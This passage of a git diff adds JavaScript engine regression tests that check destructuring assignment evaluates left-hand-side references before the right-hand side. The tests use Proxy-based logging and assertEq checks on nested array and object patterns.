+ super[ (log("lhs before name s"), "s") ]
+ ]
+ }
+ }
+ ],
+ ...{
+ 0: super[ (log("lhs before name t"), "t") ],
+ 1: [
+ super[ (log("lhs before name u"), "u") ],
+ {
+ v: super[ (log("lhs before name v"), "v") ],
+ w: {
+ x: super[ (log("lhs before name x"), "x") ],
+ y: [
+ super[ (log("lhs before name z"), "z") ]
+ ]
+ }
+ }
+ ],
+ length: super[ (log("lhs before name length"), "length") ],
+ }
+ ]
+ ] = logger(["A",
+ ["B", {c: "C", d: {e: "E", f: ["G"]}}],
+ {h: "H", i: ["J", {k: ["L"]}]},
+ "M",
+ ["N", {o: "O", p: {q: "Q", r: ["S"]}}],
+ "T", ["U", {v: "V", w: {x: "X", y: ["Z"]}}]]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set b",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name c",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::c",
+ "lhs set c",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d",
+
+ "lhs before name e",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::e",
+ "lhs set e",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+
+ "lhs before name g",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::value",
+ "lhs set g",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before name h",
+ "rhs get @@iterator()::next()::value::h",
+ "lhs set h",
+
+ "rhs get @@iterator()::next()::value::i",
+ "rhs get @@iterator()::next()::value::i::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next",
+
+ "lhs before name j",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+ "lhs set j",
+
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+
+ "lhs before name l",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::value",
+ "lhs set l",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name m",
+ "lhs set m",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name n",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set n",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name o",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::o",
+ "lhs set o",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p",
+
+ "lhs before name q",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::q",
+ "lhs set q",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+
+ "lhs before name s",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::value",
+ "lhs set s",
+
+ "lhs before name t",
+ "lhs set t",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name u",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set u",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before name v",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::v",
+ "lhs set v",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w",
+
+ "lhs before name x",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::x",
+ "lhs set x",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+
+ "lhs before name z",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::value",
+ "lhs set z",
+
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+ assertEq(this.values.c, "C");
+ assertEq(this.values.e, "E");
+ assertEq(this.values.g, "G");
+ assertEq(this.values.h, "H");
+ assertEq(this.values.j, "J");
+ assertEq(this.values.l, "L");
+ assertEq(this.values.m, "M");
+ assertEq(this.values.n, "N");
+ assertEq(this.values.o, "O");
+ assertEq(this.values.q, "Q");
+ assertEq(this.values.s, "S");
+ assertEq(this.values.t, "T");
+ assertEq(this.values.u, "U");
+ assertEq(this.values.v, "V");
+ assertEq(this.values.x, "X");
+ assertEq(this.values.z, "Z");
+ assertEq(this.values.length, 2);
+ }
+}
+
+new C2();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/order.js b/js/src/tests/non262/destructuring/order.js
new file mode 100644
index 0000000000..4da0a58512
--- /dev/null
+++ b/js/src/tests/non262/destructuring/order.js
@@ -0,0 +1,719 @@
+var BUGNUMBER = 1204028;
+var summary = "Destructuring should evaluate lhs reference before rhs";
+
+print(BUGNUMBER + ": " + summary);
+
+let storage = {
+ clear() {
+ this.values = {};
+ }
+};
+storage.clear();
+let obj = new Proxy(storage, {
+ set(that, name, value) {
+ log("lhs set " + name);
+ storage.values[name] = value;
+ }
+});
+
+let logs = [];
+function log(x) {
+ logs.push(x);
+}
+
+function clear() {
+ logs = [];
+ storage.clear();
+}
+
+let unwrapMap = new Map();
+function unwrap(maybeWrapped) {
+ if (unwrapMap.has(maybeWrapped))
+ return unwrapMap.get(maybeWrapped);
+ return maybeWrapped;
+}
+function ToString(name) {
+ if (name == Symbol.iterator)
+ return "@@iterator";
+ return String(name);
+}
+function logger(obj, prefix=[]) {
+ let wrapped = new Proxy(obj, {
+ get(that, name) {
+ if (name == "return") {
+ // FIXME: Bug 1147371.
+ // We ignore IteratorClose for now.
+ return obj[name];
+ }
+
+ let names = prefix.concat(ToString(name));
+ log("rhs get " + names.join("::"));
+ let v = obj[name];
+ if (typeof v === "object" || typeof v === "function")
+ return logger(v, names);
+ return v;
+ },
+ apply(that, thisArg, args) {
+ let names = prefix.slice();
+ log("rhs call " + names.join("::"));
+ let v = obj.apply(unwrap(thisArg), args);
+ if (typeof v === "object" || typeof v === "function") {
+ names[names.length - 1] += "()";
+ return logger(v, names);
+ }
+ return v;
+ }
+ });
+ unwrapMap.set(wrapped, obj);
+ return wrapped;
+}
+
+// Array.
+
+clear();
+[
+ ( log("lhs before obj a"), obj ).a
+] = logger(["A"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+clear();
+[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+] = logger(["A"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Array rest.
+
+clear();
+[
+ ...( log("lhs before obj a"), obj ).a
+] = logger(["A", "B", "C"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a.join(","), "A,B,C");
+
+clear();
+[
+ ...( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+] = logger(["A", "B", "C"]);;
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a.join(","), "A,B,C");
+
+// Array combined.
+
+clear();
+[
+ ( log("lhs before obj a"), obj ).a,
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ],
+ ...( log("lhs before obj c"), obj )[ (log("lhs before name c"), "c") ]
+] = logger(["A", "B", "C"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set b",
+
+ "lhs before obj c",
+ "lhs before name c",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set c",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+assertEq(storage.values.c.join(","), "C");
+
+// Object.
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj ).a
+} = logger({a: "A"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+} = logger({a: "A"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Object combined.
+
+clear();
+({
+ a: ( log("lhs before obj a"), obj ).a,
+ b: ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+} = logger({a: "A", b: "B"}));
+assertEq(logs.join(","),
+ [
+ "lhs before obj a",
+ "rhs get a",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs get b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+
+// == Nested ==
+
+// Array -> Array
+
+clear();
+[
+ [
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ ...( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+] = logger([["A", "B"]]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b.length, 1);
+assertEq(storage.values.b[0], "B");
+
+// Array rest -> Array
+
+clear();
+[
+ ...[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ ...( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+] = logger(["A", "B"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "lhs set a",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b.join(","), "B");
+
+// Array -> Object
+clear();
+[
+ {
+ a: ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ]
+ }
+] = logger([{a: "A"}]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs get @@iterator()::next()::value::a",
+ "lhs set a",
+ ].join(","));
+assertEq(storage.values.a, "A");
+
+// Array rest -> Object
+clear();
+[
+ ...{
+ 0: ( log("lhs before obj 0"), obj )[ (log("lhs before name 0"), "0") ],
+ 1: ( log("lhs before obj 1"), obj )[ (log("lhs before name 1"), "1") ],
+ length: ( log("lhs before obj length"), obj )[ (log("lhs before name length"), "length") ],
+ }
+] = logger(["A", "B"]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj 0",
+ "lhs before name 0",
+ "lhs set 0",
+
+ "lhs before obj 1",
+ "lhs before name 1",
+ "lhs set 1",
+
+ "lhs before obj length",
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+assertEq(storage.values["0"], "A");
+assertEq(storage.values["1"], "B");
+assertEq(storage.values.length, 2);
+
+// Object -> Array
+clear();
+({
+ a: [
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ ]
+} = logger({a: ["B"]}));
+assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "rhs get a::@@iterator",
+ "rhs call a::@@iterator",
+ "rhs get a::@@iterator()::next",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call a::@@iterator()::next",
+ "rhs get a::@@iterator()::next()::done",
+ "rhs get a::@@iterator()::next()::value",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.b, "B");
+
+// Object -> Object
+clear();
+({
+ a: {
+ b: ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ]
+ }
+} = logger({a: {b: "B"}}));
+assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs get a::b",
+ "lhs set b",
+ ].join(","));
+assertEq(storage.values.b, "B");
+
+// All combined
+
+clear();
+[
+ ( log("lhs before obj a"), obj )[ (log("lhs before name a"), "a") ],
+ [
+ ( log("lhs before obj b"), obj )[ (log("lhs before name b"), "b") ],
+ {
+ c: ( log("lhs before obj c"), obj )[ (log("lhs before name c"), "c") ],
+ d: {
+ e: ( log("lhs before obj e"), obj )[ (log("lhs before name e"), "e") ],
+ f: [
+ ( log("lhs before obj g"), obj )[ (log("lhs before name g"), "g") ]
+ ]
+ }
+ }
+ ],
+ {
+ h: ( log("lhs before obj h"), obj )[ (log("lhs before name h"), "h") ],
+ i: [
+ ( log("lhs before obj j"), obj )[ (log("lhs before name j"), "j") ],
+ {
+ k: [
+ ( log("lhs before obj l"), obj )[ (log("lhs before name l"), "l") ]
+ ]
+ }
+ ]
+ },
+ ...[
+ ( log("lhs before obj m"), obj )[ (log("lhs before name m"), "m") ],
+ [
+ ( log("lhs before obj n"), obj )[ (log("lhs before name n"), "n") ],
+ {
+ o: ( log("lhs before obj o"), obj )[ (log("lhs before name o"), "o") ],
+ p: {
+ q: ( log("lhs before obj q"), obj )[ (log("lhs before name q"), "q") ],
+ r: [
+ ( log("lhs before obj s"), obj )[ (log("lhs before name s"), "s") ]
+ ]
+ }
+ }
+ ],
+ ...{
+ 0: ( log("lhs before obj t"), obj )[ (log("lhs before name t"), "t") ],
+ 1: [
+ ( log("lhs before obj u"), obj )[ (log("lhs before name u"), "u") ],
+ {
+ v: ( log("lhs before obj v"), obj )[ (log("lhs before name v"), "v") ],
+ w: {
+ x: ( log("lhs before obj x"), obj )[ (log("lhs before name x"), "x") ],
+ y: [
+ ( log("lhs before obj z"), obj )[ (log("lhs before name z"), "z") ]
+ ]
+ }
+ }
+ ],
+ length: ( log("lhs before obj length"), obj )[ (log("lhs before name length"), "length") ],
+ }
+ ]
+] = logger(["A",
+ ["B", {c: "C", d: {e: "E", f: ["G"]}}],
+ {h: "H", i: ["J", {k: ["L"]}]},
+ "M",
+ ["N", {o: "O", p: {q: "Q", r: ["S"]}}],
+ "T", ["U", {v: "V", w: {x: "X", y: ["Z"]}}]]);
+assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before obj a",
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj b",
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set b",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj c",
+ "lhs before name c",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::c",
+ "lhs set c",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d",
+
+ "lhs before obj e",
+ "lhs before name e",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::e",
+ "lhs set e",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+
+ "lhs before obj g",
+ "lhs before name g",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::d::f::@@iterator()::next()::value",
+ "lhs set g",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before obj h",
+ "lhs before name h",
+ "rhs get @@iterator()::next()::value::h",
+ "lhs set h",
+
+ "rhs get @@iterator()::next()::value::i",
+ "rhs get @@iterator()::next()::value::i::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next",
+
+ "lhs before obj j",
+ "lhs before name j",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+ "lhs set j",
+
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value",
+
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+
+ "lhs before obj l",
+ "lhs before name l",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::value",
+ "lhs set l",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj m",
+ "lhs before name m",
+ "lhs set m",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj n",
+ "lhs before name n",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set n",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj o",
+ "lhs before name o",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::o",
+ "lhs set o",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p",
+
+ "lhs before obj q",
+ "lhs before name q",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::q",
+ "lhs set q",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+
+ "lhs before obj s",
+ "lhs before name s",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::value",
+ "lhs set s",
+
+ "lhs before obj t",
+ "lhs before name t",
+ "lhs set t",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj u",
+ "lhs before name u",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set u",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj v",
+ "lhs before name v",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::v",
+ "lhs set v",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w",
+
+ "lhs before obj x",
+ "lhs before name x",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::x",
+ "lhs set x",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+
+ "lhs before obj z",
+ "lhs before name z",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::value",
+ "lhs set z",
+
+ "lhs before obj length",
+ "lhs before name length",
+ "lhs set length",
